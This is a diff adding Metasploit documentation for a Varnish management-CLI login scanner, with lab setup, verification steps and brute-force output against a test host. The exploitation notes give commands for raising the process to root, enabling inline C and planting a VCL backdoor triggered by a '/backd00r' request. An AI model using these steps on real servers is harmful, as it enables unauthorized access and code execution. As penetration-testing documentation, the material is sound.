|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | + Ubuntu 14.04 can `apt-get install varnish`. At the time of writing that installed varnish-3.0.5 revision 1a89b1f. |
| 4 | + Kali installed varnish-5.0.0 revision 99d036f |
| 5 | + |
| 6 | + Varnish installed and ran the cli on localhost. First lets kill the service: `sudo service varnish stop`. Now, there are two configurations we want to test: |
| 7 | + |
| 8 | + 1. No Authentication: `varnishd -T 0.0.0.0:6082`. Varnish 4 and later require either passing '-S ""', or may not support unauthenticated mode at all. |
| 9 | + 2. Authentication (based on shared secret file): `varnishd -T 0.0.0.0:6082 -S file`. |
| 10 | + 1. I made an easy test one `echo "secret" > ~/secret` |
| 11 | + |
| 12 | +## Exploitation Notes |
| 13 | + |
| 14 | +These notes were taken from the original module in EDB, and can be used when developing a working remote exploit |
| 15 | + |
| 16 | +``` |
| 17 | +- varnishd typically runs as root, forked as unpriv. |
| 18 | +- 'param.show' lists configurable options. |
| 19 | +- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed. |
| 20 | +- 'user' is nobody. param.set user root (may have to stop/start the child to activate) |
| 21 | +- 'group' is nogroup. param.set group root (may have to stop/start the child to activate) |
| 22 | +- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail). |
| 23 | +- vcc_unsafe_path is on. used to 'import ../../../../file' etc. |
| 24 | +- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution. |
| 25 | +- code execution notes: |
| 26 | +
|
| 27 | +* quotes must be escaped \" |
| 28 | +* \n is a newline |
| 29 | +* C{ }C denotes raw C code. |
| 30 | +* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C |
| 31 | +* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly). |
| 32 | +* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode. |
| 33 | +* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic. |
| 34 | +* example trigger for backdoor: |
| 35 | +
|
| 36 | +VCL server: |
| 37 | + vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n" |
| 38 | + vcl.use foo |
| 39 | + start |
| 40 | +
|
| 41 | +Attacker: |
| 42 | + telnet target 80 |
| 43 | + GET /backd00r HTTP/1.1 |
| 44 | + Host: 127.0.0.1 |
| 45 | +
|
| 46 | +(... wait for child to execute debug trap INT3 / shellcode). |
| 47 | +
|
| 48 | +CLI protocol notes from website: |
| 49 | +
|
| 50 | +The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end. |
| 51 | +
|
| 52 | +Requests are whitespace separated tokens terminated by a newline (NL) character. |
| 53 | +
|
| 54 | +Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), ( |
| 55 | +), (\"), (\%03o) and (\x%02x) |
| 56 | +
|
| 57 | +The response consists of a header which can be read as fixed format or ASCII text: |
| 58 | +
|
| 59 | + 1-3 %03d Response code |
| 60 | + 4 ' ' Space |
| 61 | + 5-12 %8d Length of body |
| 62 | + 13 \n NL character. |
| 63 | +Followed by the number of bytes announced by the header. |
| 64 | +
|
| 65 | +The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h: |
| 66 | +
|
| 67 | +enum cli_status_e { |
| 68 | + CLIS_SYNTAX = 100, |
| 69 | + CLIS_UNKNOWN = 101, |
| 70 | + CLIS_UNIMPL = 102, |
| 71 | + CLIS_TOOFEW = 104, |
| 72 | + CLIS_TOOMANY = 105, |
| 73 | + CLIS_PARAM = 106, |
| 74 | + CLIS_OK = 200, |
| 75 | + CLIS_CANT = 300, |
| 76 | + CLIS_COMMS = 400, |
| 77 | + CLIS_CLOSE = 500 |
| 78 | +}; |
| 79 | +``` |
| 80 | + |
| 81 | +## Verification Steps |
| 82 | + |
| 83 | + Example steps in this format: |
| 84 | + |
| 85 | + 1. Install the application |
| 86 | + 2. Start msfconsole |
| 87 | + 3. Do: ```use auxiliary/scanner/varnish/varnish_cli_login``` |
| 88 | + 4. Do: ```run``` |
| 89 | + 5. Find a valid login. |
| 90 | + |
| 91 | +## Options |
| 92 | + |
| 93 | + **PASS_FILE** |
| 94 | + |
| 95 | + File which contains the password list to use. |
| 96 | + |
| 97 | +## Scenarios |
| 98 | + |
| 99 | + Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION |
| 100 | + |
| 101 | + ``` |
| 102 | + resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login |
| 103 | + resource (varnish.rc)> set pass_file /root/varnish.list |
| 104 | + pass_file => /root/varnish.list |
| 105 | + resource (varnish.rc)> set rhosts 192.168.2.85 |
| 106 | + rhosts => 192.168.2.85 |
| 107 | + resource (varnish.rc)> set verbose true |
| 108 | + verbose => true |
| 109 | + resource (varnish.rc)> run |
| 110 | + [+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required |
| 111 | + [*] Scanned 1 of 1 hosts (100% complete) |
| 112 | + [*] Auxiliary module execution completed |
| 113 | + msf auxiliary(varnish_cli_login) > |
| 114 | + ``` |
| 115 | +
|
| 116 | + Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f |
| 117 | +
|
| 118 | + ``` |
| 119 | + resource (varnish.rc)> use auxiliary/scanner/varnish/varnish_cli_login |
| 120 | + resource (varnish.rc)> set pass_file /root/varnish.list |
| 121 | + pass_file => /root/varnish.list |
| 122 | + resource (varnish.rc)> set rhosts 192.168.2.85 |
| 123 | + rhosts => 192.168.2.85 |
| 124 | + resource (varnish.rc)> set verbose true |
| 125 | + verbose => true |
| 126 | + resource (varnish.rc)> run |
| 127 | + [*] 192.168.2.85:6082 - 192.168.2.85:6082 - Authentication Required |
| 128 | + [!] 192.168.2.85:6082 - No active DB -- Credential data will not be saved! |
| 129 | + [*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: bad |
| 130 | + [*] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN FAILED: good |
| 131 | + [+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: secret |
| 132 | + [*] Scanned 1 of 1 hosts (100% complete) |
| 133 | + [*] Auxiliary module execution completed |
| 134 | + ``` |
0 commit comments